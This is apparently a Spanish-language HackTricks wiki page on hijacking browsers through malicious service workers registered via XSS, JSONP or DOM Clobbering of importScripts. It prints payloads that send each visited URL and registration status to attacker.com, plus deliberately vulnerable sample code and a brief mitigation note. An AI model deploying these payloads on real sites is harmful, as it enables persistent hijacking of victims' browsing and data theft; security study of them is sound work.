Abusing Service Workers

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Grupo de Seguridad Try Hard


Información Básica

Un service worker es un script ejecutado por tu navegador en segundo plano, independiente de cualquier página web, que permite funciones que no requieren una página web o interacción del usuario, mejorando así las capacidades de procesamiento sin conexión y en segundo plano. Puedes encontrar información detallada sobre los service workers aquí. Al explotar los service workers dentro de un dominio web vulnerable, los atacantes pueden obtener control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.

Verificación de Service Workers Existentes

Los service workers existentes se pueden verificar en la sección de Service Workers de la pestaña de Application en las Developer Tools. Otro método es visitar chrome://serviceworker-internals para obtener una vista más detallada.

Notificaciones Push

Las permisos de notificaciones push impactan directamente la capacidad de un service worker para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.

Ataque Creando un Service Worker

Para explotar esta vulnerabilidad necesitas encontrar:

  • Una forma de subir archivos JS arbitrarios al servidor y un XSS para cargar el service worker del archivo JS subido

  • Una solicitud JSONP vulnerable donde puedas manipular la salida (con código JS arbitrario) y un XSS para cargar el JSONP con un payload que cargará un service worker malicioso.

En el siguiente ejemplo voy a presentar un código para registrar un nuevo service worker que escuchará el evento fetch y enviará al servidor de los atacantes cada URL obtenida (este es el código que necesitarías subir al servidor o cargar a través de una respuesta JSONP vulnerable):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Y este es el código que registrará el worker (el código que deberías poder ejecutar abusando de un XSS). En este caso, se enviará una solicitud GET al servidor de los atacantes notificando si el registro del service worker fue exitoso o no:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

En caso de abusar de un punto final JSONP vulnerable, debes colocar el valor dentro de var sw. Por ejemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Existe un C2 dedicado a la explotación de Service Workers llamado Shadow Workers que será muy útil para abusar de estas vulnerabilidades.

La directiva de caché de 24 horas limita la vida de un service worker (SW) malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo un estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida del Script del SW (TTL). También se recomienda a los desarrolladores crear un interruptor de apagado del service worker para una desactivación rápida.

Abusando de importScripts en un SW a través de DOM Clobbering

La función importScripts llamada desde un Service Worker puede importar un script de un dominio diferente. Si esta función se llama usando un parámetro que un atacante podría modificar, podría importar un script JS desde su dominio y obtener XSS.

Esto incluso evade las protecciones CSP.

Código vulnerable de ejemplo:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Con DOM Clobbering

Para obtener más información sobre qué es el DOM Clobbering, consulta:

pageDom Clobbering

Si la URL/dominio que el SW está utilizando para llamar a importScripts está dentro de un elemento HTML, es posible modificarlo a través de DOM Clobbering para hacer que el SW cargue un script desde tu propio dominio.

Para ver un ejemplo de esto, consulta el enlace de referencia.

Referencias

Try Hard Security Group

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Última actualización